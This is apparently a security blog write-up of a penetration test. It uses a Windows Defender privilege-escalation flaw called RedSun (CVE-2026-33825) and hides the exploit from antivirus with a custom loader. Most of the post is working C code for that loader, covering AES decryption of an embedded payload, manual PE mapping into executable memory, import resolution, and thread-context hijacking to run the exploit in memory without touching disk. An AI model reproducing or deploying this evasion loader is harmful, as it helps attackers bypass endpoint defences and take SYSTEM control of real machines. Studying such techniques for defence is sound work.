REDSUN
CyberSec

RedSun: Critical Windows Defender Exploit Leveraging LocalHollowing Obfuscation
to Achieve Full System Control

There's lots to learn!

Posted on May 12, 2026
Author Im0s
CVE-2026-33825
RedSun
Process Hollowing

Context — What is RedSun?

During a penetration test engagement I exploited CVE-2026-33825, nicknamed RedSun — a Local Privilege Escalation vulnerability in Microsoft Windows Defender's cloud file rollback mechanism. The exploit chain allows a standard authenticated user to escalate directly to NT AUTHORITY\SYSTEM.

The attack abuses three Windows primitives chained together:

Because Defender runs with SYSTEM privileges, the overwritten binary is executed in a fully elevated context — granting a SYSTEM shell from a low-privileged account.

The problem: dropping the raw RedSun.exe on disk is immediately flagged and quarantined by Windows Defender — the very process the exploit is intended to abuse. The binary must never hit disk in plaintext.

The Problem — Static PE Detection

Static detection operates on the on-disk representation of a PE file. When a known-malicious executable is written:

No amount of runtime behaviour matters — if the bytes on disk are recognisable, the game is over before it starts. The solution is to ensure no cleartext PE ever touches the filesystem.

The Solution — AES Encryption + Local Hollowing

Local Process Hollowing (self-injection hollowing) replaces the current process's execution context in memory with a secondary payload, entirely without writing a decrypted binary to disk. Combined with AES encryption of the embedded payload, the loader binary contains only ciphertext — zero recognisable signatures.

Diagram 1 — Full Attack Overview: From Disk to SYSTEM Shell
LOAD HOLLOWING EXPLOIT RESULT DISK HarryPotter.exe [ AES-256 encrypted RedSun blob ] main ( ) DuplicateHandle → CreateThread(Doit) MAIN THREAD DOIT THREAD WaitForSingleObject (INFINITE) SuspendThread (main thread handle) AES-256 Decrypt → PE image in memory VirtualAlloc + Map PE headers · sections · relocs · IAT SetThreadContext RIP → RedSun EP ResumeThread (main) Doit exits RedSun EP Executes in-memory, no disk write NT AUTHORITY\SYSTEM — S-1-5-18 SYSTEM SHELL VIA conhost.exe Main Thread Doit Thread Resumed / Result

Implementation

Entry Point — main()

The loader's main is deliberately thin. Its only job is to acquire a real, transferable handle to the main thread and hand it to Doit.

Why duplicate? GetCurrentThread() returns a pseudo-handle — a constant meaningful only within the calling thread. To SuspendThread and SetThreadContext on the main thread from a different thread, we need a real kernel handle. DuplicateHandle with DUPLICATE_SAME_ACCESS produces one.
int main() {

    // GetCurrentThread() returns a pseudo-handle — valid only for the calling thread.
    HANDLE pseudoHandle = GetCurrentThread();
    HANDLE realHandle;

    // Produce a real, transferable handle with identical access rights.
    if (!DuplicateHandle(
            GetCurrentProcess(), pseudoHandle,
            GetCurrentProcess(), &realHandle,
            0, FALSE, DUPLICATE_SAME_ACCESS)) {
        printf("[-] Failed to duplicate handle.\n");
        return 1;
    }

    // Spawn Doit thread, passing the real main-thread handle.
    HANDLE thread = CreateThread(
        NULL, 0, (LPTHREAD_START_ROUTINE)Doit, &realHandle, 0, NULL);

    // Block until Doit finishes (hollowing complete, main thread resumed).
    WaitForSingleObject(thread, INFINITE);

    CloseHandle(thread);
    CloseHandle(realHandle);
    return 0;
}
Diagram 2 — Thread Execution Timeline (Swim Lanes)
MAIN THREAD DOIT THREAD t=0 t=1 t=2 t=3 t=4 Running: main() ⏸ SUSPENDED (waiting for Doit) WaitForSingleObject SetThreadContext RIP→EP ▶ RedSun EP runs Spawn Suspend(main) AES Decrypt Map PE SetCtx+Resume Exit SuspendThread() AES_decrypt() VirtualAlloc +memcpy SetThreadContext ResumeThread

Step 1 — Suspend the Main Thread

The first action of Doit is to halt the main thread so no further instructions execute while mapping is in progress.

// Received as argument: real handle to main thread
HANDLE mainThreadHandle = *(HANDLE*)lpParam;

SuspendThread(mainThreadHandle);
printf("[+] mainThread suspended\n");

Step 2 — AES Decrypt the Payload

The RedSun PE is stored as an AES-256-CBC encrypted byte array embedded in the loader. Decryption happens entirely in heap memory — nothing is written to disk.

// Embedded ciphertext blob (compiled into the binary as a byte array)
extern const unsigned char encPayload[];
extern const size_t encPayloadLen;

BYTE aesKey[32] = { /* 256-bit key */ };
BYTE aesIV[16]  = { /* 128-bit IV  */ };

BYTE* decBuf = NULL;
size_t decLen = 0;

AES_CBC_Decrypt(encPayload, encPayloadLen, aesKey, aesIV, &decBuf, &decLen);
printf("[+] mimi decrypted\n");

Steps 3–6 — Manual PE Mapping

decBuf now holds a valid PE image in heap memory. We manually map it at a freshly allocated virtual address.

Diagram 3 — Manual PE Mapping: Raw Bytes → Mapped Image in Memory
RAW FILE (heap) PE STRUCTURE MAPPED IMAGE (VirtualAlloc) DOS Header (MZ magic) IMAGE_NT_HEADERS OptionalHeader · FileHeader .text (PointerToRawData) .data (PointerToRawData) .rdata (PointerToRawData) .reloc (base relocations) .idata (import table) ① Read OptionalHeader. ImageBase + SizeOfImage ② Iterate IMAGE_SECTION_HEADER[] for each section → copy raw data e_magic = 0x5A4D (MZ) e_lfanew → NT headers offset Signature = 0x00004550 (PE\0\0) AddressOfEntryPoint ← EP here ImageBase · SizeOfImage memcpy( imageBase+VA, raw+RVA ) for each section VirtualAlloc (SizeOfImage) MEM_COMMIT | PAGE_EXECUTE_READWRITE imageBase+0x000 ← Headers SizeOfHeaders bytes imageBase+VA ← .text VirtualAddress from section hdr imageBase+VA ← .data imageBase+VA ← .rdata imageBase+VA ← .reloc Apply delta fixups here imageBase+VA ← .idata / IAT Patch with GetProcAddress results Entry Point (EP) imageBase + AddressOfEntryPoint ③ reloc delta = actualBase − preferredBase ④ Walk IAT: LoadLibraryA + GetProcAddress ⑤ SetThreadContext: RIP = EP address
// Read PE metadata
PIMAGE_DOS_HEADER dos  = (PIMAGE_DOS_HEADER)decBuf;
PIMAGE_NT_HEADERS  nt  = (PIMAGE_NT_HEADERS)(decBuf + dos->e_lfanew);

printf("[+] The PE file is valid.\n");
printf("[+] PE data : 0x%016llX\n", (ULONG_PTR)decBuf);

// Allocate virtual memory for the mapped image
LPVOID imageBase = VirtualAlloc(
    (LPVOID)nt->OptionalHeader.ImageBase,   // preferred base
    nt->OptionalHeader.SizeOfImage,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_EXECUTE_READWRITE
);
// Fall back to any address if preferred base is occupied
if (!imageBase)
    imageBase = VirtualAlloc(NULL, nt->OptionalHeader.SizeOfImage,
                             MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

// ── Map headers ──
memcpy(imageBase, decBuf, nt->OptionalHeader.SizeOfHeaders);

// ── Map sections ──
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
    LPVOID dst = (LPVOID)((ULONG_PTR)imageBase + sec->VirtualAddress);
    LPVOID src = (LPVOID)((ULONG_PTR)decBuf    + sec->PointerToRawData);
    memcpy(dst, src, sec->SizeOfRawData);
}

// ── Apply base relocations ──
ULONG_PTR delta = (ULONG_PTR)imageBase - nt->OptionalHeader.ImageBase;
if (delta != 0) {
    PIMAGE_DATA_DIRECTORY relDir =
        &nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
    PIMAGE_BASE_RELOCATION reloc =
        (PIMAGE_BASE_RELOCATION)((ULONG_PTR)imageBase + relDir->VirtualAddress);

    while (reloc->VirtualAddress) {
        WORD* entry = (WORD*)(reloc + 1);
        DWORD  count = (reloc->SizeOfBlock - sizeof(*reloc)) / sizeof(WORD);
        for (DWORD j = 0; j < count; j++) {
            if ((entry[j] >> 12) == IMAGE_REL_BASED_DIR64) {
                ULONG_PTR* patch = (ULONG_PTR*)(
                    (ULONG_PTR)imageBase + reloc->VirtualAddress + (entry[j] & 0xFFF));
                *patch += delta;
            }
        }
        reloc = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)reloc + reloc->SizeOfBlock);
    }
}

// ── Resolve imports (IAT) ──
PIMAGE_DATA_DIRECTORY impDir =
    &nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
PIMAGE_IMPORT_DESCRIPTOR imp =
    (PIMAGE_IMPORT_DESCRIPTOR)((ULONG_PTR)imageBase + impDir->VirtualAddress);

while (imp->Name) {
    LPCSTR dllName = (LPCSTR)((ULONG_PTR)imageBase + imp->Name);
    HMODULE lib    = LoadLibraryA(dllName);
    PIMAGE_THUNK_DATA thunk =
        (PIMAGE_THUNK_DATA)((ULONG_PTR)imageBase + imp->FirstThunk);

    while (thunk->u1.AddressOfData) {
        if (!(thunk->u1.Ordinal & IMAGE_ORDINAL_FLAG)) {
            PIMAGE_IMPORT_BY_NAME ibn =
                (PIMAGE_IMPORT_BY_NAME)((ULONG_PTR)imageBase + thunk->u1.AddressOfData);
            thunk->u1.Function = (ULONG_PTR)GetProcAddress(lib, ibn->Name);
        } else {
            thunk->u1.Function =
                (ULONG_PTR)GetProcAddress(lib, (LPCSTR)(thunk->u1.Ordinal & 0xFFFF));
        }
        thunk++;
    }
    imp++;
}

Step 7 — Redirect Entry Point & Resume

With the image fully mapped and imports resolved, we redirect the suspended main thread's instruction pointer to the payload's entry point, then resume it.

Diagram 4 — Import Address Table Resolution & Thread Context Redirect
IAT — BEFORE (unresolved) IAT — AFTER (resolved) IAT[0] → IMAGE_IMPORT_BY_NAME VirtualAlloc IAT[1] → IMAGE_IMPORT_BY_NAME CreateThread IAT[2] → IMAGE_IMPORT_BY_NAME GetProcAddress IAT[N] → … LoadLibraryA(dllName) + GetProcAddress(lib, funcName) → real function address in ntdll/kernel32 IAT[0] 0x7FFE2A013C40 VirtualAlloc IAT[1] 0x7FFE2A019B20 CreateThread IAT[2] 0x7FFE2A01CF80 GetProcAddress IAT[N] …real addresses… THREAD CONTEXT REDIRECT ctx.Rip = …old value… ctx.Rcx = …old value… GetThreadContext(main, &ctx) ctx.Rip = imageBase + EP SetThreadContext(main, &ctx) ctx.Rip = imageBase+EP ResumeThread(main) ✓
// Redirect main thread instruction pointer to the mapped EP
CONTEXT ctx = {};
ctx.ContextFlags = CONTEXT_FULL;

GetThreadContext(mainThreadHandle, &ctx);

ULONG_PTR ep = (ULONG_PTR)imageBase + nt->OptionalHeader.AddressOfEntryPoint;
ctx.Rcx = ep;   // first argument (RCX convention on x64)
ctx.Rip = ep;   // instruction pointer

SetThreadContext(mainThreadHandle, &ctx);

// Resume — main thread now executes RedSun entry point
ResumeThread(mainThreadHandle);
printf("[+] Delay time ...\n");
printf("The sun is shinning...\n");
printf("The red sun shall prevail.\n");

Execution Flow Summary

#FunctionPurpose
1DuplicateHandle()Convert pseudo-handle → real transferable handle to main thread
2CreateThread(Doit)Spawn hollowing worker; main thread calls WaitForSingleObject
3SuspendThread()Halt main thread; no instructions execute during mapping
4AES_CBC_Decrypt()Decrypt embedded ciphertext → valid PE image, heap only
5VirtualAlloc()Allocate RWX region sized by SizeOfImage
6memcpy() × NMap PE headers + each section at their respective Virtual Addresses
7Relocation loopPatch all absolute addresses by delta = actual − preferred
8LoadLibrary / GetProcAddressResolve every imported function; write real addresses into IAT
9SetThreadContext()Overwrite RIP with imageBase + AddressOfEntryPoint
10ResumeThread()Main thread resumes; executes RedSun EP as the loader's identity

Result

The loader (HarryPotter.exe) was delivered to the target host. On execution:

Diagram 5 — Result (PoC)
image

Key Takeaways